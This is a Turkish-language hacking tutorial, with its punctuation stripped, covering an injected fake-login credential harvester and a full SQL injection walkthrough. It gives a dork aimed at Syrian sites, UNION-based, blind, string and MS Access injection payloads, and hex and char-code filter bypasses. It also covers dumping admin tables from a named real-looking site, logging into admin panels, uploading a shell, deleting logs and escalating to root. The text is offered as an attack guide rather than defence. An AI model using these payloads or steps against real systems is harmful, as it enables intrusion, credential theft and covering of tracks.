centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password

gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt

Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar

fakesayfaphp

ltphp

$login = $_POST[rsquologinrsquo]

$password= $_POST[rsquoPasswordrsquo]

$open = fopen(rsquologhtmrsquo rsquoa+rsquo)

fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo

Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)

gt

fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor

Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz

SQL İnjection1- SQL İnjection Nedir

SQL (Structured Query Language)

SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır

2- SQL İnjectionrsquoun Mantığı Nedir

Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim

Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )

İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz

3- Temel SQL Komutlarını Tanıyalım

SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız

SELECT - Veri seccedilmek iccedilin

CREATE - Tablo yaratmak iccedilin

INSERT - Tablo eklemesi yapmak iccedilin

UPDATE - Veri guumlncelleme

DELETE - Veri silmek

DROP - Tablo silmek

FROM - (- den - dan beri )

WHERE - Nereden neresi nerede

Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var

4- SQL İnjection ile Neler Yapılabilir

SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz

5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır

SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır

SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz

Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz

6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak

Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım

a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)

Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde

Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli

wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor

Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım

SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım

Oumlrnek bir SQL İnjection hatası

Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz

b-) Search Kutularında SQL İnject Accedilığı Aramak

Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız

Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz

c-) Kayıt Formlarında SQL İnject Accedilığı Aramak

Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz

Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız

d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak

Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım

Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş

Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu

e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak

Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)

Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz

ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız

7-Saldırı Anı(SQL Accedilığının Tespiti)

Bir Web Sayfası duumlşuumlnuumln

wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen

wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit

8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)

Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım

Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler

Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim

wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml

wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana

Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz

wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi

wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş

Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz

9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)

Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım

Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım

wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz

-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass

Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen

wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit

wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz

wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur

Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden

10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)

Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz

Oumlnce Group_Concat Fonksiyonunu tanıyalım

Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım

wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--

Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik

table_name = Tablo isimleri

information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri

information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir

information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

